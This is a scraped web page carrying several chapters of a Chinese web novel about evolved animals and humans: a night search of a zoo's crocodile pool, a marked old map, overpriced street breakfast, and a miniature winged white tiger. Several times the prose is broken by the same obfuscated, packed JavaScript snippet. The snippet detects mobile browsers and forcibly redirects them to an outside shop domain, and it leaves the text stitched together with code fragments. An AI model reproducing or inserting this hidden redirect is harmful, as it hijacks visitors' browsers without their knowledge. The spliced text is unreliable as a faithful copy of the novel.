l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757171|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 林萤两人忙躲在一旁的展板后,就见四个人穿着园区工作服的人员扶着大笼子走到车边,将笼子推上车。他们的身后,跟着马浩哲的姑姑马西梅和另外一个面容清秀的小伙子,这个小伙子看上去也很眼熟,林萤稍作回想,记起来他似乎是战斧的成员之一,进化的部位是上臂。 待他们装好车,其中一个工作人员走到马西梅的身边,说道:“谢谢你们了,要不是有你们和袁老板的帮忙,今晚的行动不可能这么顺利。” “嗨,谢我们干啥?我们也就是搭了把手,主要多亏了人家袁老板。”马西梅叹了口气,“就是没救下来那些小动物……” “少了谁都不行,你们是我们的贵人。至于其他的……没办法,事有轻重缓急,咱们已经尽力了。” “要是也能救下雪王就好了……”清秀的小伙子满脸都是遗憾。 “雪王应该没事,我在监控被破坏前看了一眼,它是自己逃走的……哎,算了,不多说了,我们还得先把这大鳄鱼转移走,不然留下来早晚要出事。” “是啊,没有千日防贼的。”马西梅赞同道。 两个工作人员上了车将运有尼罗鳄的车辆开走,另外两个留下来,先是关上了大铁门,再一左一右跟在马西梅和小伙子的身边,几人一边说话,一边向远处行去。 待他们走远后,林萤和原初猫着腰跑来到了爬行区大门的门口,林萤双手用力,扯掉外面的锁,一重大门接着一重小门,连过五道门,才到了核心区。里面静悄悄的,打眼一看,绿植、枯木、浅水洼,全是布景,本该待在那里的动物却都不见了。 “他们的速度还挺快,都搬空了。”林萤转了一圈,没找到什么活物。 “是啊,你没听他们说嘛,一帮人牵制着那些黑衣人,另一帮人来帮动物园转移这些动物,可见园方已经事先预料到了会出事。”原初说罢,伸出手探进一只龟穴里,再缩回来,手上多了一个椭圆的蛋,“给你,看看里面有没有进化核。” 林萤挑了挑眉,接过龟卵。这还是她第一次摸到乌龟卵,手感跟鸡蛋有些像,但似乎更凉,蛋壳也更薄一些。林萤的指尖在壳上轻轻划过,微微热了热,她瞬间便知道这是一只进化了的龟卵。 “是进化过的。”林萤想了想,将龟蛋揣进兜里,她现在的兜里有四颗进化核、一张随手拿来的地图,有一个龟卵,还有一包用了一半的纸巾。稍有些杂乱,不过目前没有时间整理。 就在这时,原初突然吸了吸鼻子,“你有没有闻到一股臭味?” 林萤嗅了嗅,什么都没有闻到。 “不应该啊,味道越来越浓了,源头应该就在前面。” “你带我去。”林萤道:“我最近闻不到臭味。” “嗅觉失灵?” 林萤摇摇头,“不,只是闻不到臭的,其他味道:腥味、香味、辣味……都能闻到。所以我需要你的帮助。” “周围太暗,有些看不清,我也需要帮助。”黑暗中,原初的双眼弯弯,他笑着说道:“正好,你来做我的眼睛,我来做你的鼻子。” 44. 无处不在的鼠妇 林萤没有说话,却抓住了原初的衣袖。 两人顺着窄窄的小道一直向前走,穿过室内来到户外。 这里是鳄鱼区,有一个半圆形的大水潭。说是水潭,其实更像个大泥潭,水已经快要流光了只剩薄薄的一层,薄薄的水下是厚厚的淤泥,看上去如同沼泽一般。不远处还有一大堆重重叠叠的东西,像是泥巴又像是粪便堆成的小山,即使距离尚远,林萤也能看到越靠近那堆东西水越浑,想必气味也越大,说不定臭气的源头便是它。 林萤将目光收回来放在近处,几步之遥的水边不仅有动物的粪便,更有一些残肢断尾和几坨金色的……大便? 林萤正要上前查看,就见一向表情管理非常严格的原初居然捂着鼻子紧皱着眉头,眼睛快速眨着,纤长的睫毛根部亮晶晶的,似乎是被熏得眼泪都要出来了。 这么臭吗? 林萤看了看原初做工精良的外衣,想了想,将自己的衣摆扯下来一块,示意对方蒙上。接着,她拿起一旁的喂食钳将水边的金色大便捞了上来。 ——不是金色大便,是一只死去的蛙类。蛙类肚破了一个大口子,里面的内脏全不见了,看样子,应当是全流进了水里。 “被掏了内脏的大蛙……” 原初看了看地上的箭毒蛙,捂着鼻子瓮声瓮气地道:“黄金箭毒蛙,它体内的毒素能够在三分钟内毒死十名成年人……” “这么厉害?” 林萤将那只箭毒蛙翻了过来,它的金色皮肤非常亮眼,活着的时候应当也是两栖馆里的颜值担当。 “是的,它全身皮肤都有剧毒,被认为是最毒的脊椎动物之一,理论上来说,它只有人类这个天敌,难道是被人为的开膛破肚了?” 林萤蹲下身,仔仔细细查看了一番箭毒蛙的伤口,“不是,它应当是进化失败,肚子自己炸开了。”说着,她模拟了一下爆破的声音,“你应该见过进化失败的人,就像那样。” “那些也是吗?”原初指了指。 林萤看了一眼水面上的其他动物,点点头,“说不定这里面都是进化失败的动物,毕竟水里最方便抛尸。” 说罢,她又捞过来几个看上去比较完整的蜥蜴,果然如她所说,它们全是进化失败后被扔在了这里。 林萤想了想,往前走了几步,仔细看了一下不远处那堆重重叠叠的东西,这次她看清了,那全是一些软趴趴的动物尸体,有蛇有蟾、蝾螈、蚓螈……林萤还看到一只四脚朝天的陆龟,厚厚的龟壳也碎成了片。最下面的尸体已经有些腐烂,而上面动物仍能看出红色血迹和白色的肉,显然这些动物是死亡后被陆陆续续扔在了这里。 “幸亏现在是秋天,要是夏天这里肯定成了蚊子苍蝇的乐园。”原初又往后退了退,显然空气中的味道让他非常难受。 “可见传言不可信,他们还说动物园里的动物全进化了,这那里是全进化了,单是爬行动物的尸体都堆满一个大池子,更不要说别的了……”林萤说罢,退到原初身边,“走吧,这应该是人为抛在这里的。” 林萤正要往出走,就在这时,突然听到了细微的一声“吧嗒”,像是有颗豆子从树上掉了下来。林萤望了一圈,没有看到什么树,更没有看到什么豆子,她以为自己听错了正要离开,突然,又听到了那声“吧嗒”。 林萤仔细看了一圈,就见不远处有个砖块大小的洞口,洞口在水面稍稍靠上的位置。 “等一下。” 林萤说罢过去查看,就见那个洞口处爬着密密压压的鼠妇,它们像行军蚁一般正在从洞口向外爬,有的快有的慢,快的将慢的挤开,又顺着墙面向下爬,一个接一个爬到地面上涌进泥潭中。有的爬的慢的、个头比较小的,则是被其他鼠妇推挤开,蜷曲着身子从洞口掉落下来,发出“吧嗒”的响动声。 林萤十分确定,这就是刚才自己听到的声音,她小心翼翼避过“行军鼠妇”,跃上并不算高的围墙向下看去,就见这个洞口的另外一面恰好通向外面的排水槽。 这时,原初也忍着巨臭走了过来,他站在下方,看着整齐划一的鼠妇,眉头紧皱,“它们在举家搬迁吗?” 林萤从墙头跳了下来,她拍了拍手上的灰尘道:“我是这样猜测的,你看,之前的水位线在这边。”林萤指了指洞口的上方,那里有一条很明显的水痕,“以前多余的水都是从这里排出去的,但是最近鳄鱼池子没有打扫,也没有新注水,所以水位线降到了现在的地方。而这个洞口的另外一边就是刚才那个排水槽。” “你的意思是说那些鼠妇的尸体是来自鳄鱼池里的?”原初问到。 “嗯!”林萤点了点头。 “但是这里的地面做了硬化,鼠妇不可能在水里长期生存。”原初说着,沿着水池走了一圈,又回到了林萤的身侧,“除非是地面的硬化已经被破坏,水泥地面出现了裂缝,不然水也不能蒸发的那么快,要知道才刚下了一场大雨……” 对,裂缝!林萤猛地瞪大了眼睛,她想起了宿舍楼一层的裂缝以及地下的深坑。如果这个鳄鱼池里真的有裂缝,那么它的地下是不是也是空的呢? 林萤试探性地抬起脚跟,然后使劲跺了下去,地下传来的回音空荡荡,细微的颤动从脚下传出去又弹了回来。 林萤抬眼望向原初,两人异口同声:“下面有空间!” 这个消息令林萤精神一振,她对原初道:“你稍微往后退一退……” 原初不明所以却乖乖向后退去,就见林萤使劲一跺脚,整个鳄鱼池的地面微微下陷,而后又慢慢反弹回来,林萤又是一跺,地面又向下陷去,这次下陷的幅度比上次要大一些,反弹回来的速度也更慢了一些。 林萤如法炮制,一脚一脚踩下去,终于听到了沉闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762562|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的碎裂声,以林萤的脚跟为原点,水泥砌成的封层裂开了一道道缝隙,这些缝隙有宽有细,宽的有手指那么粗,细的却像发丝。随着缝隙的出现,水潭里的水位迅速下降,露出了满潭底的动物肢体,以及林萤以为是淤泥,结果全是鼠妇尸体的水底。 余量不多的水流入缝隙里,并没有预想中的水流声,而是像渗进泥沙中一样悄无声息,林萤侧着耳朵几乎要贴着地面,也没有听到水流到地底的声音。如果不是因为堵塞水流不下去,那就是地下的空间太深,导致落地声听不到。 林萤直起身看了眼从鼠妇间隙里流走的污水,否定了第一种猜测,难道是地底真的很深吗? 她想了想,蹲下身,一左一右两根食指伸进一处缝隙里,接着猛地向上一提,一块足球大小的水泥板被她扣了下来,紧接着,一大群黑压压的东西从缝隙里冒了出来,向四面八方涌去——是数以万计的鼠妇! 这些鼠妇就像没头苍蝇,到处乱窜,还有不少争先恐后地王林萤的脚面上爬。 她忙将水泥板扔在地上,抖了抖脚,迅速向后退去,足足一分钟后,这些鼠妇堆才慢慢散尽。 “怎么会有这么多……”倒退的途中,林萤不慎踩到了一些,感受着脚底一颗颗珠子似得鼠妇被“啵啵啵”地压扁,林萤觉得如果她的心脏有皮肤,此时一定也起满了鸡皮疙瘩。 “鼠妇喜欢腐食,说不定是这些动物的尸体吸引它们前来的。”原初说着,将一块干净的手帕递给了林萤,她的手指上也沾着不少鼠妇的尸体,手指尖黑黑的,右边的指甲尖上还有一只半死不活的鼠妇在微微晃动着两排弯曲的腿。 “不用,我这有卫生纸……”林萤说着,想从自己的兜里掏出纸巾,却突然想到自己两只手都是脏的,于是她侧着腰,用手肘点了点衣兜,冲原初示意,“在这里,帮我拿一张。” 原初眨了眨眼,而后迅速上前,将两根手指伸进林萤的衣兜里,“冒犯了。” 林萤兜里的东西本来就多,纸巾又被压在了最下面,原初的两根手指左找找右寻寻,都没有找到,他的手指很长,骨节分明又有力量,不经意间触碰到林萤的腰肉,让她感觉又痒又好玩。 “噗……”林萤没忍住笑了起来,随后感觉到身边的原初像被定住了一样,似乎比自己更紧张,她忙道:“没事,只是碰到我的痒痒肉了。纸巾在最下面,你再找找。” 在林萤没有看到的地方,原初的脸又一次红了起来,他将手伸得更里了一些,指尖终于碰到了塑料质感的东西,就是它了! 原初“腾”地将纸巾取了出来,由于他的动作幅度有些大,一张折好的纸张也被带了出来,幸好林萤反应快,在那纸张将要落地时将它夹在了两指之间,不过,一些褐色的污迹也印在了纸上。 原初接过林萤手中的纸张,提起一角将它展开——这是一张地图。 45. 天价早餐 林萤擦干净手指,走到刚才揭开的鼠妇坑前,这里除了许多被挤压变形的鼠妇尸体外,还有许多的碎砖块,看样子,应当是林萤在踩踏地面时将它们误伤的。林萤拨开砖块,下面是褐色的泥土,泥土非常松软,使劲挤压便有水渗出来。 “看来这些鼠妇就是生活在砖块与泥土之间,不过,这里的泥巴似乎过分湿润了一些……”林萤说完,却没有听到回应,她转过头看向原初,只见对方正举着纸张在查看,面带诧异又有几分探究的神色。 “原医生?”林萤叫了一声。 原初这才转过头,看向林萤,“这个地图……” 林萤起身来到原初身边,“怎么了?” “你看。”原初将地图捋直,左手捏着地图的左下角,右手在地图中间点了点,“你看,这里是不是青檀动物园?” 林萤凑过去,仔细一看,就见地图上有许多被红笔圈出来的地点,原初指的那处,正好在水青路的一角,上面没有标注地点,但看位置的确是将动物园包括在了里面。 “没错。”林萤点头,又顺着这个红圈看向下方的蹊暇市,果然在那边也找到了一个红圈,这个红圈就是上次林萤在小宾馆注意到的那个,现在仔细看去,发现它圈起来的位置,就在蹊暇的郊区。 大学城——云栖大学! 林萤瞬间瞪大了眼睛,她又看向地图的其他地方,就见被红笔圈出来的共有九处,还有一些是用黄色笔圈出来的,痕迹已经很淡,但林萤瞧得很清楚,黄色圆圈有五处。其余还有一些用圆珠笔点出来的小点,数量很多,看上去也有些杂乱,更有很多位于折痕处已被磨去了字迹,故而林萤并没有一一查看。 她将自己的发现告诉原初,后者问道:“这个地图的版次是1970年的,属于老古董了,你是从哪里来的?” “这是……我从一个小偷那里顺手拿来的。”林萤迅速看了原初一眼,莫名有些心虚,“当时也没多想,下意识就装进兜里了。” 原初将地图折起来还给林萤,“拿好,我们以后再研究。” 林萤将地图收了起来,恰好此时,一只不知道从何处飞来的黑色大鸟落在了附近的围墙上,它“嘎——”叫了一声,引得林萤和原初同时望去。 大黑鸟不怕人,它歪着头看了两人一眼,又一跳一跳跳到了尸堆上,啄起一只草蜥便吞进了肚子里,紧接着又将一只守宫衔在嘴里,扬了扬鸟尾,向远处飞去。林萤顺着鸟飞走的方向看去,就见东边的天空隐隐发亮。 “我们得快一点了!”林萤说罢,迅速来到刚才的坑边,她又掀开临近的一处水泥地面,待那些鼠妇爬走后,就见这边的砖是完整的,砖的下方同样是褐色的土。 原初蹲下来,用刚才擦过的纸巾包起一块碎砖,轻轻拨开褐色的土壤,“下方似乎也是土,可我们刚才明明觉得地下是空的。” 林萤拿起一旁的喂食器,将长长的一端插进泥土里,她原本以为会有些费力,却没想到手下的触感就像是将吸管插进杯子里那样轻松,轻轻一用力,一半杆子便进了土,林萤将杆子抽出来,带上来的泥土中有植物的根须。 “可能是海绵土,是枯枝落叶常年堆积腐烂形成的那种。” “那么问题来了,水泥地面下怎么会是海绵土?”原初扔掉碎砖站了起来,他问:“枯枝落叶又是哪里来的?” 林萤想了想,摇了摇头,“你问我我哪里知道,要是可以大大方方来查看就好了,可天马上就要亮了。” 方才想到裂隙时,她以为这里也会有一个类似于宿舍楼下的空间,这种感觉在看到地图时又出现了一次,但当她觉得十拿九稳时,却被现实一一否定。没有什么空间,也没有什么坍塌,有的只是松软的海绵土,和海绵土下弹性十足的空隙。 “这有何难?”原初说道:“你忘了咱们还有一个伙伴?” “你是说……小马哥,他不能吧?” 原初“嗯”了一声,“小马哥是不可以,但是他认识的人可以帮我们。” 林萤想到了什么,眼睛一亮,“你是说——小马哥的姑姑!” “对,她既然和动物园有合作,我们进来便不是难题了吧?最不济,我也可以加入‘花开富贵’!” 林萤“噗嗤——”一声笑了出来,“有道理啊,原医生,阿姨们肯定非常乐意。” 原初笑眼弯弯,“那么现在我们该回去了,天要亮了。” “嗯。” 正在这时,原初的手机震动了一下,他低头查看,是修车行的信息:老板,你的挡风玻璃连夜修好了,天亮就可以来拿车。 原初:现在能去拿吗? 修车行:哟,老板也起这么早啊!当然能,我等你过来。 原初回了一个“好”,然后看向林萤,“车修好了,我们可以直接开回去。” “嗯,走吧!” 三十分钟后,两人坐上车,行驶在青檀的道路上。 此时早市已开,令林萤惊讶的是青檀虽然乱,但早市却充满了祥和安乐的气氛。刚出锅的包子热气腾腾,嘎巴菜香浓软糯,煎饼果子炸油条,炸糕老豆腐,看得人食指大开。人们有的提着塑料袋边走边吃,烫到嘴也不愿撒口,有的坐在狭小却干净的小桌前蜷着腿一口豆浆一口油条。 “那是当然啦,衣食住行,社会还是靠平凡的大多数撑起来的。”原初说罢,指了指一边的小摊,“你看,那边还有卖水果的。” 林萤顺着指的方向看过去,就见路边蹲着一个小贩,他的面前是一筐红艳艳的山楂,看上去非常新鲜,显然是刚摘不久。此时林萤的目光不在那小贩的货物上,而是聚焦在对方的手上,就见他拿着一个裹满了鸡蛋的煎饼果子,一口下去,三分之一个饼便吞进了肚子里。 林萤不自觉地咽了咽口水,自昨晚在大鱼县吃过那顿饭后,胃里还没进过热东西,不见还罢,一看见后眼睛比胃还妖馋。 正在这时,车沿着马路边缓缓地停了下来,林萤转过头,对上原初满是笑意的目光,她忙道:“我其实不太饿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771377|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “我知道,但我有点饿了,正好买点早餐带回去吧!” “好!” 林萤直奔煎饼果子摊,她要了三个,然后站在一边等待。 就见老板熟练地挖了一大勺劲道的绿豆面摊成薄薄的饼儿,待饼儿一圈微微焦黄时迅速加上两颗圆溜溜的大鸡蛋,蛋清的白裹住饼儿的黄,原本轻盈的饼身变得厚重,像厚棉袄一样裹在薄脆身上,再抹上香喷喷的酱料,一个皮儿薄馅儿大边儿脆的煎饼果子就做好了。 林萤提着饼子问:“多少钱。” 就见老板伸出手指比了个数。 “三十?有点贵啊。” 林萤抱怨了一句,掏出手机,正要付钱,就见原本还像老僧版站立着的老板突然摘下了口罩,露出一脸不可置信的表情,“姑娘,你在跟我搞笑吗?三十?三十这几个鸡蛋都回不了本!一个饼子一百,一共三百!” 说罢,他点了点一旁的收款码,示意林萤往这里扫。 “三百?”林萤惊呼一声,手机差点没拿稳。 “三百,已经做好了不能退!”或许是林萤的眼神过于震惊,不像是恶意闹事的,老板又道:“现在普遍都是这个物价,不信你去问问,现在一杯豆浆30,一份油条120,几星期前就是这个价了。” 林萤望向旁边的店铺,就见露在外面的价目表上,统一都在后面多贴了一个“0”。 ——青檀有自己的计量单位! 林萤的右手哆哆嗦嗦伸进衣兜里想要拿手机,刚伸进去却发现手机就在自己的左手上拿着,她迅速抽回手,却在抽出时带出了半边地图,有一颗小小的进化核恰巧卡在地图的折痕里,被地图带着“骨碌碌”滚到了地上。 林萤一边放回地图一边弯下腰想将它捡起来,突然有一双大手先她一步拾起了进化核。 “你的东西。” 林萤抬起眼,就见面前是一个穿着黑色棉服的高个男生,他带着一顶灰色的针织帽,针织帽的边缘压着他的耳尖,几根黄色的卷发从他的耳后露了出来,他似乎很怕冷,将衣领高高竖起,只露出一双茶晶色的眼睛。 “谢谢!”林萤道过谢,那个男生朝她点了点头,却并没有离开,而是问道:“你是要去参加拍卖会吗?” 林萤一脸疑惑,问道:“什么拍卖会?” 男生听到林萤的回答,看了一眼她手里的进化核,又摇了摇头,“没什么,再见!” 说罢,他便继续向前走去,只留给林萤一个远去的背影。 真是个怪人! 不过,等下上车就把衣兜里的东西全放好吧……林萤打定主意,又看向面前的煎饼果子铺,就瞧见老板正抱着臂一眼不眨看着她,一只脚已经从铺子后面买了出来,似乎是怕林萤吃霸王餐,准备随时抓她。 “别担心,三百,给你了。” 林萤按下付款的时候,整个心都在滴血,三百啊,价值三百块钱的煎饼果子!她打开自己那一份,狠狠地咬了一口,真香啊!花了大价钱的就是香。 46. 秀色可餐原医生 林萤边走边吃,待她走到车边,原初也正好买回来了几杯豆浆,他看了林萤一眼,“怎么了,看上去像是被霜打了的茄子?” 林萤道:“要真是被霜打了还好……哎,我如愿以偿看到天价鸡蛋了,它就在这个天价煎饼果子里。你敢信吗,一份煎饼果子竟然要一百块,简直就是抢钱!” 原初将手中的豆浆递给她,“我以为你知道价格呢,毕竟你提前买了那么多吃的。” “可那些昨晚修车时都从车上拿下去了……从现在起,我只吃泡面!” “需要我提醒一下吗?你还有伙伴,他恰好很有钱长得又很帅,请你吃几顿饭不成问题。” 林萤作势四下环顾,“在哪呢,我怎么没看见?” 原初急道:“喂喂喂!远在天边近在眼前好吧!” 林萤道:“那怎么行,无功不受禄,不过……”她转过头去,看向原初的侧脸,打趣道:“不过,我倒是有一个办法,只不过需要你配合。” 见原初疑惑地看过来,林萤道:“听说过秀色可餐吗?如果可以一直看着你,我不吃饭也行。” 原初被林萤的话噎住,脸红耳红,一向很能说的嘴巴此时也说不出话来。 两人坐上车,林萤把带给马浩哲的那份早饭放在后排,叹道:“这边的物价太贵了,吃的贵,修车费也贵,我都听见了,那老板收了你好多钱……我能继续欠着吗?” 原初道:“当然可以——” 他的话还没说完,就听林萤说:“还是算了吧,我不喜欢欠别人的。” “……” 说罢,林萤拿起手机给原初转了修车的钱,她眼睁睁看着自己的存款少了一位数,心里很不是滋味。有道是由俭入奢易,由奢入俭难,刚体验了一把富裕生活的她,又即将开始面对拮据的日子。 “现在,我已经从富有降级为温饱了。”林萤将手机放在膝盖上,拿过一旁的豆浆,狠狠吸了一口,“必须想个法子赚钱了,照青檀这个物价,没两天我就要破产。” 原初道:“如果你真的想赚钱,我倒是有个方法。” 林萤咬着吸管看向他,示意他继续说下去。 原初看了林萤一眼,“我刚刚在买豆浆的时候听说今天下午有一场拍卖会,卖的便是灵珠,也就是你讲的进化核。你口袋里的进化核想必有不少人想要,林萤,你想不想去看看?” “拍卖会?”林萤想起之前的男生的话,转头看过来。 “对啊,拍卖会。” 林萤倏地凑到原初面前,安全带也拉不住她,“几点?” “呃……”原初顿了一下,看着突然逼近的那张脸和亮晶晶的眼睛,刚到嘴边的话都忘记了,“呃,好像是三点,对,下午三点。” 林萤想了想,又坐了回去,“可我听说拍卖会一般都要验身份什么的,咱们能进去吗?” “我们是卖家,需要在今天早上去验货。听说这是灵珠的第一场拍卖会,所以规则大家都还不是很清楚,但估计跟普通拍卖会差不多。” “真可惜,普通拍卖会我也没有去过。”林萤又吸了一口豆浆,直接将豆浆喝到见底,余光瞥见一直被冷落在旁边的早餐袋,“对了,你快趁热吃,等下煎饼果子就放软了。吃完咱们赶紧回去,再晚点估计马浩哲要醒了。” “好。” 原初说着,拿起一旁的袋子,就见上面全是水珠,煎饼原本酥脆的边缘也变得软榻。几滴水顺着袋子边缘往下滑,眼见就要掉落到原初的裤子上,又在半空中被林萤眼疾手快地接住。 “果然不能密封,糟了,马浩哲的那份……” 林萤回过头看向后座,正预备把马浩哲的早餐也拿出来晾一晾,就见原本完好无损的早餐袋破了一个大洞,里面的煎饼果子只剩小半截,看上去像是被什么东西吃了。 “咦?” “怎么了?”原初也看了过来。 林萤指了指后座上掉落的食物残渣,“车里进老鼠了……” “怎么会?”原初稍加思索,“该不会是修车的时候钻进去的吧?” 紧接着,他们便听到一阵“呼噜呼噜”的声音,林萤解开安全带循声看去,就见后排左边的地上趴着一只白底黑条的……奶牛猫?猫的胡须上还挂着一块黄色的鸡蛋,看来偷吃的就是这只嫌疑猫了! “呀,是小猫!”林萤拍了拍原初,示意他看那只猫咪。 原初看了一眼,便立即关上了车窗,他放下手上的食物,迅速道:“系好安全带,我们先离开这里。” “怎么了?” 林萤有些摸不着头脑,但还是依言系上了安全带,紧接着,原初一脚油门,车飞速驶离闹市,向不远处的寂静街区开去。 “你再仔细看看它是不是猫。”原初提醒道。 林萤又回过头,恰逢那只“奶牛猫”抖了抖身子站起来打了个哈欠,它的嘴比一般的猫要大上许多,牙齿也很锋利,踩在地上的足部也不成比例得大。最让林萤感到吃惊的是,这只“猫”的背上有一对粉色的翅膀,翅膀上生着像奇异果一样短的毛,随着“猫身”的抖动,翅膀上的绒毛看上去亮晶晶地反光。 ——这哪里是猫,分明就是一只长了翅膀的老虎,还是迷你版本的! 难怪刚才原初要赶紧离开呢,这要是被人发现,估计得将车挤翻。 “如果没有猜错,这就是那只名叫‘雪王’的白虎。”原初的目光看着前方的道路,“动物园和进化者势力都在寻找的那只。” 林萤迅速打开手机,搜索了一下雪王的照片,她看一眼手机看一眼“奶牛猫”,然后就发现两者除了大小不一样,其他地方——无论是花纹还是眼睛形状、亦或是耳尖的长毛和胡须的曲度——完全一模一样。 这只“奶牛猫”的的确确不是奶牛猫,而是一只货真价实的白虎,而且是进化过的长出了双翼的大白虎! “真的是它!它应当是又进化了一次,所以才会变小……”林萤放下手机,目光看向那只小雪王。 只见小雪王毫不在意林萤的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776922|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,它“呼”地一下扇动翅膀,飞上座位,又慢条斯理将剩下的那些煎饼全部吃完,而后伸出长舌舔了舔虎唇。 “它的脚似乎受伤了。” 就见后座的真皮座椅上印着一个一个小梅花,闻上去有淡淡的血腥味,是小雪王脚上的血流到了座椅上。 “雪王?嘬嘬……” 林萤轻轻叫了一声,后排的大猫抬起眼皮看了她一眼,而后就扑棱着小肉翅向林萤飞来,林萤忙躲回椅子前,却没想到雪王并不是要攻击她,而是径直飞到她的面前,接着“呼”地收起翅膀,又“腾”一声落在了她的腿间,将毛茸茸的身子蜷成一团,只露出受伤的后脚。 林萤与原初默默对视一眼,眼底都在剧烈地震,她大气也不敢喘,看着雪王油光水滑的皮毛,想要摸一下,却怕一下手惹得它厌烦。 “你不要动,我来为你清理一下伤口。”林萤发誓自己没有用精神控制的能力,但就见雪王像听懂了她的话一样,将后腿伸展开来,甚至将虎爪微微分开,似乎是为了方便林萤查看伤口。 “它信任你。”原初对林萤悄声说道。 林萤迅速检查了一下雪王的伤口,就见它的脚趾缝里有一个小小的刀尖,像是踩中陷阱留下来的。林萤将刀尖取下来,从自己的裤兜里翻出碘伏棉签,给虎爪消了消毒,又涂抹了一层药粉,拿出创口贴剪成指甲盖大小,将它的伤口包了起来,这才轻轻把雪王的腿放下。 “幸亏我常备着护理用品,没想到在这里派上用场了……” 而此时,雪王已经闭上眼睛,开始呼呼大睡了。 林萤伸出一根手指,轻轻触了触雪王的尾巴尖,就见那小小的一团微微抖了抖,却仍在熟睡中。 林萤低声道:“我以前看过一个科普,说是流浪猫被收养后第一周会一直补觉,因为它脱离了野外提心吊胆的生活,知道自己终于安全了,所以才敢放心睡觉。都是猫科动物,我猜雪王也是逃了很久才找到了这里,它觉得车里是安全的,我们两个也是安全的。” “不愧是百兽之王,果然有眼光。” 原初说罢,将车停到路边的车位上,林萤后知后觉,他们已经到马浩哲姑姑家了。 “怎么办?我不敢起来……”林萤看着腿上的小毛球,不忍心打扰它睡觉。 “你在车上休息一会,我上去看看小马哥,把他叫起来。” “对了,还有这个……”林萤从兜里掏出进化的乌龟卵,递给原初,“我记得后备箱有个纸箱,把它放到箱子里吧,我怕自己一个不小心把它压扁了。另外,我记得昨天咱们把我那个黄色的登山包拿上去了,包里还有很多吃的,等下你记得把它拿下来,那个登山包比较大,腾出来可以让雪王睡在里面。” “好的。”说罢,原初轻轻关上了车门。 林萤看了眼时间,此时已经是早上七点钟了,这个时间点马浩哲应该还在呼呼大睡。 呼呼大睡的还有一个雪王,见它睡得香甜,林萤最终还是没忍住,轻轻摸了虎皮一把。 47. 高跷老大和他的男丫鬟 毛茸茸、暖烘烘、滑溜溜,手感好极了!林萤又是一把摸上去,虎王突然动了一下,林萤吓得收回手,却见那圆滚滚的小家伙只是翻了一个身,将肚皮侧面露了出来,四只粉红色的肉垫轻轻踩着林萤的腿,随后睡得更加惬意了。 太可爱了!林萤感觉无数粉红色泡泡从自己的心里冒了出来,她愈发欢快地开始撸虎。 不多时,就见原初从小区里走了出来,他先是在车外看了几眼,确定雪王还在林萤怀中,才轻手轻脚打开车门钻了进来。 “还在睡吗?” “嗯。”林萤说着,又摸了雪王一把,“马浩哲呢?” “他说他今天想休息,就不跟咱们一起了,等我们回来了再去找他就行……”原初说着,将林萤的背包递给她,又系好安全带侧过身来,“我把咱们想去动物园的事情给马浩哲说了,他当即给他的姑姑打了个电话,对方说可以带我们进动物园,但需要先见见我们,大概是怕我们别有用心。” “什么时候见面?” “晚上。”原初也忍不住摸了摸雪王,“他姑姑要晚上才回来,所以今天我们的任务就是先去拍卖会看一看,最好能赚点钱,然后再想想这个小家伙要怎么办。毕竟现在到处都在找它,要是落到坏人手里,它的下场可想而知。” 林萤“嗯”了一声,“有个词叫如虎添翼,有了翅膀的老虎,几乎就是无敌的存在。但再无敌,也就是几枪的事情……” 原初知道她是想起了昨晚的事情,“不要灰心,虽然说热武器有热武器的厉害,但如果人可以一直进化下去,生出比钢铁还要结实的皮肤,或者速度比子弹还要快,要应对热武器也不是难事。毕竟人类只用了不到几个星期就进化到了这种地步,进化的速度只会越来越快......” 原初说完,启动了车辆,他之前与那早市的老板多聊了几句,问出了这次拍卖会的地址,现下便要驱车前往。 林萤摸摸白虎,想象自己的皮肤变成坚不可摧的样子,顿时觉得原初的话很有道理。是啊,事实证明,自己的身体能吸收进化核及其能力,如果有很多可以坚韧皮肤的进化核被她吸收,说不准自己真的能抗住子弹。 只是,她想到了口袋里的进化核,这几个进化核都是从人体内掏出来的,分别来自于红雨衣的腕部、赵毅千的足部、战斧老大的额头和腿部。 仔细回想,似乎从进化开始到现在,林萤似乎还没有遇到过皮肤进化过的人,包括她自己也是,虽然她的进化与别人有所不同,她也一直在吸收进化核,但她的皮肤仍然比较脆弱,不然也不会被宿舍楼掉落下来的钢筋划破。 要是能找到一些可以让皮肤进化的进化核就好了! 林萤一面想着一面摸着腿上的毛茸茸,她的指尖触到白虎的小肉翅,忽而问道:“老虎为什么会长出翅膀?” “什么?” 